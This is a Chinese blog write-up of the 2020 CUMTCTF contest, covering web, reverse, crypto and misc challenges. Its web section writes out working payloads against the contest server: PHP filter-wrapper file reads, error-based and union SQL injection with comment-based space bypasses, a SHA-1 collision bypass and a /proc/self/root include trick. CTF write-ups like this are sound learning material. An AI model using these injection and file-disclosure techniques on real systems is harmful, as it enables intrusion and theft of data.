2020 9月CUMTCTF wp

就最终结果而言还是有一些可惜,不过过程上还是很满足

WEB

Web签到

payload http://202.119.201.197:13001/?1

hackbar payload 2=2 出现源码

猜测flag在flag.php里(可以访问无结果),利用php伪协议payload http://202.119.201.197:13001/?1&file=php://filter/read=convert.base64-encode/resource=./flag.php

页面回显flag:PD9waHANCgkkZmxhZz0iQ1VNVENURnsxNzkwNTViNC1lOGY1LTQyZDItYmZlNC0wMjdkMTVlOTQ2YjJ9Ijs=

base64解密得到最终flag:CUMTCTF{179055b4-e8f5-42d2-bfe4-027d15e946b2}

babysqli

burp抓包,发现有 的过滤,用/**/过滤空格。

  1. 报错注入

    payload username=admin&password='/**/or/**/extractvalue(1,concat(1,(select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/x,1)))#,变更x的值,找到表,进而找列,然后查字段最终找到flag

    这里可以发现flag后面半段没有显示,改 passwordmid(password,20,30)即可回显后半部分。

  2. 联合注入

    最麻烦的地方是 order被过滤掉了,需要手动一个一个尝试有几列

    payload username=admin&password='/**/union/**/select/**/1,2,3,(select/**/password/**/from/**/users/**/limit/**/7,1),5,6,7,8#一直尝试到8发现回显了4,再把4位置改为select...即可

Secret

进入页面除了一张帅照没有任何信息,尝试用御剑扫描后台,发现www.zip文件 下载得到源码

<!DOCTYPE html>
<html ><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8">
        <title>Secret?</title>
        <h1>The dream of a great singer</h1>
<img src="./secret.jpg"  alt="The dream of a great singer" />
</html>
<?php
error_reporting(0);
include_once('flag.php');
if(isset($_GET['param1']))
{
    $str1=$_GET['param1'];
    if(file_get_contents($str1)!=='Suvin_wants_a_girlfriend')
        die("Suvin doesn't like you");
    if(isset($_GET['param2'])){
        $str2=$_GET['param2'];
        if(!is_numeric($str2))
            die('Suvin prefers strings of Numbers');
        else if($str2<3600*24*30)
            die('Suvin says the num is too short');
        else if($str2>3600*24*31)
            die('Suvin says the num is too long');
        else {
            echo "Suvin says he's falling in love with you!"."</br>";
            sleep(intval($str2)); 
        }
        if (isset($_POST['param1']) && isset($_POST['param2'])) {
            $str1=$_POST['param1'];
            $str2=$_POST['param2'];
            if(strlen($str1)>1000)
                die("It's too long");
            if(((string)$str1!==(string)$str2)&&(sha1($str1)===sha1($str2)))
                echo $flag;
            else 
                die("It's so similar to md5");
        }
    }
}
?>
  • 第一层 data协议 payload param1=data://text/plain,Suvin_wants_a_girlfriend

  • 第二层 科学计数法 payload param2=2.592E6

  • 第三层 下意识反应是传入数组让sha1返回false然后成功绕过,但问题是前面还有strings处理会导致同样相等,看来这里这里只能找到sha1真碰撞。谷歌曾提供了两份不一样的pdf,但它们前320位的sha1值却是相等的。下面是两个文件的16进制:

    • pdf1:

      25 50 44 46 2D 31 2E 33 0A 25 E2 E3 CF D3 0A 0A
      0A 31 20 30 20 6F 62 6A 0A 3C 3C 2F 57 69 64 74
      68 20 32 20 30 20 52 2F 48 65 69 67 68 74 20 33
      20 30 20 52 2F 54 79 70 65 20 34 20 30 20 52 2F
      53 75 62 74 79 70 65 20 35 20 30 20 52 2F 46 69
      6C 74 65 72 20 36 20 30 20 52 2F 43 6F 6C 6F 72
      53 70 61 63 65 20 37 20 30 20 52 2F 4C 65 6E 67
      74 68 20 38 20 30 20 52 2F 42 69 74 73 50 65 72
      43 6F 6D 70 6F 6E 65 6E 74 20 38 3E 3E 0A 73 74
      72 65 61 6D 0A FF D8 FF FE 00 24 53 48 41 2D 31
      20 69 73 20 64 65 61 64 21 21 21 21 21 85 2F EC
      09 23 39 75 9C 39 B1 A1 C6 3C 4C 97 E1 FF FE 01
      73 46 DC 91 66 B6 7E 11 8F 02 9A B6 21 B2 56 0F
      F9 CA 67 CC A8 C7 F8 5B A8 4C 79 03 0C 2B 3D E2
      18 F8 6D B3 A9 09 01 D5 DF 45 C1 4F 26 FE DF B3
      DC 38 E9 6A C2 2F E7 BD 72 8F 0E 45 BC E0 46 D2
      3C 57 0F EB 14 13 98 BB 55 2E F5 A0 A8 2B E3 31
      FE A4 80 37 B8 B5 D7 1F 0E 33 2E DF 93 AC 35 00
      EB 4D DC 0D EC C1 A8 64 79 0C 78 2C 76 21 56 60
      DD 30 97 91 D0 6B D0 AF 3F 98 CD A4 BC 46 29 B1

    • pdf2:

      25 50 44 46 2D 31 2E 33 0A 25 E2 E3 CF D3 0A 0A
      0A 31 20 30 20 6F 62 6A 0A 3C 3C 2F 57 69 64 74
      68 20 32 20 30 20 52 2F 48 65 69 67 68 74 20 33
      20 30 20 52 2F 54 79 70 65 20 34 20 30 20 52 2F
      53 75 62 74 79 70 65 20 35 20 30 20 52 2F 46 69
      6C 74 65 72 20 36 20 30 20 52 2F 43 6F 6C 6F 72
      53 70 61 63 65 20 37 20 30 20 52 2F 4C 65 6E 67
      74 68 20 38 20 30 20 52 2F 42 69 74 73 50 65 72
      43 6F 6D 70 6F 6E 65 6E 74 20 38 3E 3E 0A 73 74
      72 65 61 6D 0A FF D8 FF FE 00 24 53 48 41 2D 31
      20 69 73 20 64 65 61 64 21 21 21 21 21 85 2F EC
      09 23 39 75 9C 39 B1 A1 C6 3C 4C 97 E1 FF FE 01
      7F 46 DC 93 A6 B6 7E 01 3B 02 9A AA 1D B2 56 0B
      45 CA 67 D6 88 C7 F8 4B 8C 4C 79 1F E0 2B 3D F6
      14 F8 6D B1 69 09 01 C5 6B 45 C1 53 0A FE DF B7
      60 38 E9 72 72 2F E7 AD 72 8F 0E 49 04 E0 46 C2
      30 57 0F E9 D4 13 98 AB E1 2E F5 BC 94 2B E3 35
      42 A4 80 2D 98 B5 D7 0F 2A 33 2E C3 7F AC 35 14
      E7 4D DC 0F 2C C1 A8 74 CD 0C 78 30 5A 21 56 64
      61 30 97 89 60 6B D0 BF 3F 98 CD A8 04 46 29 A1

    然后将文件前320位url编码使用就可以了

    对了 注意记住post传输时最好用burp,因为hackbar post是url编码前的,会导致失败。

简单的文件包含

根据问题,首先想到X-Forwarded-For: 127.0.0.1 被揭穿,尝试用Client-ip: 127.0.0.1 成功,得到源码,其中最关键一句

include_once("flag.php");
if(isset($_POST['f'])) 
  include_once($_POST['f']); 

发现常规payload f=php://filter/convert.base64-encode/resource=./falg,php已经没有反应,通过查阅https://www.anquanke.com/post/id/213235得知可以payload f=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

得到base64加密flag,解码即可

Re

连签到的分都不给你

ida打开 直接可以看到flag

兄弟们快来帮帮葡葡

upx脱壳,ida打开就能看到flag

python题禁止python

注意第106行BINARY_XOR,python脚本:

a=[80,70,94,71,80,71,85,104,86,39,64,106,76,67,106,71,123,92,125,76,37,106,103,118,80,35,119,32,110]
result=""
for i in range(len(a)):
    result+=chr(a[i]^19)
print(result)

即可输出flag

CRYPOT

幼儿园的密码题

RSA加密,已知e,n,c, 先把三个数都化为十进制,在在线网站分解nhttp://factordb.com/得到p,q,再利用工具(自己写也可)RSA-tools2 输入p,q,n找到d

再利用python脚本得到flag

e = 65537

n = 106521084065274837947153338013414677016150003618052696631715598225251903811631

C = 40448992051548719008529549070468060415257485938698092782029814901918646701101

d = 40136589253519337904801936751808322538729097075790793658605275357454779780497

M = pow(C,d,n)    
print(M)
print('------------')
print(hex(M)[2:])                      #16进制明文
print('------------')
print(bytes.fromhex(hex(M)[2:]))       #16进制转文本

小学生的密码题

给出加密方式和密文求明文,由 ord("A"), ord("}") **+** 1发现完全可以爆破偷鸡(虽然也是小学生题),python脚本:

def encode(ptext):
    dic = [chr(i) for i in range(ord("A"), ord("}") + 1)]
    m = [i for i in ptext]
    tmp = [];s = []
    for i in range(len(m)):
        for j in range(len(dic)):
            if m[i] == dic[j]:
                tmp.append(j + 1)
    for i in tmp:
        res = ""
        if i >= 8:
            res += int(i/8)*"8"
        if i%8 >=4:
            res += int(i%8/4)*"4"
        if i%4 >=2:
            res += int(i%4/2)*"2"
        if i%2 >= 1:
            res += int(i%2/1)*"1"
        return res

st = "21088410841088402108840420888888821088810888884210888888410888421088881088888820888841088842108820888881088884210888880888888408888888410".split('0')
a = 0
result = ""
for i in range(len(st)):
    for j in range(ord('A'), ord('}')+1):
        if encode(chr(j))  == st[a]:
            a = a + 1
            result += chr(j)
            break
print(result)

MISC

连签到都算不上

打开txt,base64转图片,将得到的编码\u81ea\u7531\u548c\u8c10\u5e73\u7b49\u5e73\u7b49\u81ea\u7531\u8bda\u4fe1\u548c\u8c10\u5e73\u7b49\u81ea\u7531\u81ea\u7531\u548c\u8c10\u5e73\u7b49\u81ea\u7531\u81ea\u7531\u516c\u6b63\u6cd5\u6cbb\u53cb\u5584\u5e73\u7b49\u5e73\u7b49\u6cd5\u6cbb\u548c\u8c10\u548c\u8c10\u516c\u6b63\u8bda\u4fe1\u6587\u660e\u516c\u6b63\u548c\u8c10\u548c\u8c10\u5bcc\u5f3a\u516c\u6b63\u8bda\u4fe1\u548c\u8c10\u548c\u8c10\u548c\u8c10\u5e73\u7b49\u8bda\u4fe1\u5e73\u7b49\u548c\u8c10\u6587\u660e\u5e73\u7b49\u8bda\u4fe1\u5e73\u7b49\u81ea\u7531\u548c\u8c10\u5e73\u7b49\u81ea\u7531\u81ea\u7531\u516c\u6b63\u6587\u660e\u6c11\u4e3b\u6cd5\u6cbb\u8bda\u4fe1\u548c\u8c10\u000d\u000a

Unicode转中文得到

自由和谐平等平等自由诚信和谐平等自由自由和谐平等自由自由公正法治友善平等平等法治和谐和谐公正诚信文明公正和谐和谐富强公正诚信和谐和谐和谐平等诚信平等和谐文明平等诚信平等自由和谐平等自由自由公正文明民主法治诚信和谐

在前往在线核心价值观编码解码即可http://ctf.ssleye.com/cvencode.html

真·签到题

把下载得到的图片丢进010,在尾部发现base64编码,解码得到EWOVEVH{U1ip_kp_uweeguuhw11a!},由形式看出来为凯撒加密,位移为2,解密得到flag:CUMTCTF{S1gn_in_successfu11y!}

能看到我吗

要注意文件名的提示

题目得到一张number.jpg文件,扔进010却发现头为pk,改后缀为zip得到压缩包文件。

!!!重点来了!!!

得到了number.zip压缩包后呢,我下意识还是看了看是不是伪加密,前不久做了好几道伪加密的题,但010查看发现却是真加密,改的话文件会损坏,于是我花了很久很久时间捣鼓密码是啥,把大写小写数字组合全都试了(只试了7位数,组合的话超过7位数爆破时间差不多要几个小时),都还是失败...

重点就在压缩包的名字number.zip,这不都告诉你密码是纯数字了吗???看到题解我要哭出来了...

得到密码后又得到一张图片,扔进010也没啥信息,丢到kali binwalk看一下。

发现有两张图片,foremost拿出来,发现是两张一模一样的图片..之前在攻防世界有做过盲水印的题,用脚本得到最终flag

别做题了听歌吧

这题真的就到最后一步 我要吐血了..

拿到《anheqiao》音频文件,二话不说放进audacity里,半天啥也没看出来,联系到提示:别问,问就是cumt,猜测是音频隐写,加密密码为cumt

打开txt文本发现有大小但是是空的,看来又是隐写,用010打开发现一堆0909 2020 0D0A的玩意,然后我感觉这个有点像摩斯编码,于是写脚本去试了试

然后去在线摩斯编码转换网站试试:

单纯的我只是觉得这是一串没有任何规律的乱码,然后又去试了试排列组合,但都能没出现类似CUMTCTF这样明显的flag,...看到题解我才发现,原来这一串乱码加上CUMTCTF{}就是flag..(乱码的后面 AND8MP3ST390!!已经有提示了)

兔兔那么可爱

下载得到一个flag文件和一张很多兔子的图片,提示:图片内没有任何与flag相关的信息,很多数学家都喜欢兔兔

,把flag文件扔进010。

可以发现我们想要的flag前缀 CUMTCTF 对应位置:

0 1 2 4 7 12 除了第一个和第二后 ,后面每一个都是前两个相加+1,破案了!!就是喜欢兔子的数学家斐波那契,python脚本

string='' 
with open('flag', 'r') as f: 
    string = f.read() 
a=0 
b=0
for i in range(0,26): 
    c=a+b+1
    a=b 
    b=c 
    print(string[a],end="")

为什么是26次呢,这个可以通过len(string)得到长度然后慢慢试的。

大鲨鱼之你可使劲找

这题感谢魔龙学长的指点

下载得到流量包,在wireshark里面看一下,搜索flag发现是二分法盲注爆数据库,追踪tcp流,把数据全部复制在txt里粘贴出来一个一个分析,因为有很多流(我之前只分析了一个..),可以根据CUMTCTF第一个字符C的ascii值67去判断数据在哪一个流里。

这里>66是正确的,又是最后一个,所以第一个字符ASCII为67即为C,把数据所有76前的保存下来转码。

b=[67,85,77,84,67,84,70,123,99,101,99,99,49,51,57,52,45,54,49,51,51,45,52,51,100,48,45,98,101,48,54,45,97,52,49,99,53,102,50,51,49,100,100,52,125,32]
for i in range (len(b)):
     print(chr(b[i]),end='')

这从上千条数据里找到这40多条,真的麻了..

残缺的大鲨鱼

这道题真的考验耐性和细致。

下载得到流量包,在wireshark里面看一下,搜索发现flag.zip文件,跟踪tcp,把原始数据复制转移到010里,把50 4B前的http信息全部删了,保存为zip文件。

压缩得到flag文件,扔进010

在尾部发现 D8 FF,FF D8是图片文件的文件头,猜测是flag是反过来的图片文件,python还原。

string=''
with open('flag','rb') as f:
    string=f.read()
    with open('flag.jpg','wb') as w:
        w.write(string[::-1])

好吧又是一张图片,扔进010里看一下..

观察可以发现,图片内藏有bbxxss.txt文件,但用kali foremost并没能分离出来,应该是缺少了文件头,搜索压缩包文件头后面有 03 04 14 00 ,在前面补上50 4B保存,即可保存为zip文件解压(或者foremost分离出来),得到bbxxss.txt。

在卢学长的指点下,利用emoji解码即可。

时光机

明天补上吧 需要git知识..

补!

哈哈这几天捣鼓了一些虚拟机,装了一个manjaro,不得不说!真香~

好了因为git装在虚拟机里,把文件拖入manjaro,git看一下

没什么头绪,但提示说是git版本回退, git log查看版本

git reset --hard -xx 换一个版本试试

emm 一堆奇奇怪怪的文件,加上一张名叫我的压缩包呢的图,看来还得换

不换不知道 居然发现了一个password文件..盲猜一波这是压缩包的密码

最后还是找到了压缩包,输入密码拿到flag~

posted on 2020-10-04 23:52  The0Y  阅读(411)  评论(2编辑  收藏  举报

导航